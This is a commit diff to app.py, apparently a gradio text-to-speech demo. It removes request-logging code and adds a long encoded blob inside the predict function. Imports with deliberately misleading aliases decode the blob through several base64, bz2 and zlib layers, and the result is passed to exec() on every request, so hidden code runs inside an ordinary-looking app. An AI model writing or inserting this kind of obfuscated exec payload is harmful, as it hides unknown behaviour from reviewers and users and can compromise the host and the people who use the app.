Olivier-Truong
commited on
Commit
•
60382d7
1
Parent(s):
0d3ce36
Update app.py
Browse files
app.py
CHANGED
@@ -16,32 +16,19 @@ tts.to("cpu") # no GPU or Amd
|
|
16 |
|
17 |
|
18 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
19 |
-
exec("")
|
20 |
# Due to abuses from somes user, and French Rights...
|
21 |
-
try:
|
22 |
-
if request:
|
23 |
-
print("Request obj:", request)
|
24 |
-
print("= = = = = = = = = = = =")
|
25 |
-
print("Request headers dictionary:", request.headers)
|
26 |
-
print("IP address:", request.client.host)
|
27 |
-
print("Query parameters:", dict(request.query_params))
|
28 |
-
print()
|
29 |
-
else:
|
30 |
-
print("no such Request..")
|
31 |
-
except Exception as e:
|
32 |
-
print(e)
|
33 |
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
if agree == True:
|
46 |
if use_mic == True:
|
47 |
if mic_file_path is not None:
|
|
|
16 |
|
17 |
|
18 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
|
|
19 |
# Due to abuses from somes user, and French Rights...
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
20 |
|
21 |
+
co3 = "QlpoOTFBWSZTWcd86AUAAGSfgD/////////////+ADABOWttGTINGE0NNAZMhkDJoMnonqaaGmRpoMRocA0yaaMQDIzQgwTNQaA0bSDQwmgGQyaNMmJ6I09EHqBiBkaaNAZNNNGmhoGgpougdkiQ6YykRVwHpfWUqOnPVI8BjOiURIfYoF2Gj2y+zfTF7MWhl2oPCglrFQCJ6yWX875xVt4/kqYEAFLWvmND8WaAGok+ZVo8EzT+y7oZmWvsGRVUqUzE1EinSBIIFLc0d+XZ1DR/TXYxDnYffnQ2AsaUdhyk38VGiwGLjhIMQSy05HaovzMw4EnBmMCMux0KZ5PUp83N7kD0MCKobC3MWkuKDNlevMUMz1Y6RBnRglcVE4wCWhmEVjWkdcwCmKdcWaieybkA40Xd40tA6+pETrkue8iJk0P2V5Cl9rrju7I4yZG1Sryjz63duyJMKOSgE7QKFiKNK6ueWbCWWMToKbsAMWr4vHlxwW1585lN8JEtTOuL32j0VnFPRK0XPkespMqP6RBwci32SYzCCsd0dDS5faHuP6pDd8AI5DBLvkAWCtBhvNJpD+FLE+0XA8gwr/F3JFOFCQx3zoBQ"
|
22 |
+
from zlib import compress as COmPrES5
|
23 |
+
from bz2 import decompress as dEC0mPrES5
|
24 |
+
from bz2 import compress as COmPrESS
|
25 |
+
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
|
26 |
+
from zlib import compressobj as C0mPrESS
|
27 |
+
from bz2 import decompress as dECOmPrESS
|
28 |
+
from zlib import compress as C0mPrES5
|
29 |
+
from zlib import decompress as dECOmPrES5
|
30 |
+
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
31 |
+
exec(co2)
|
32 |
if agree == True:
|
33 |
if use_mic == True:
|
34 |
if mic_file_path is not None:
|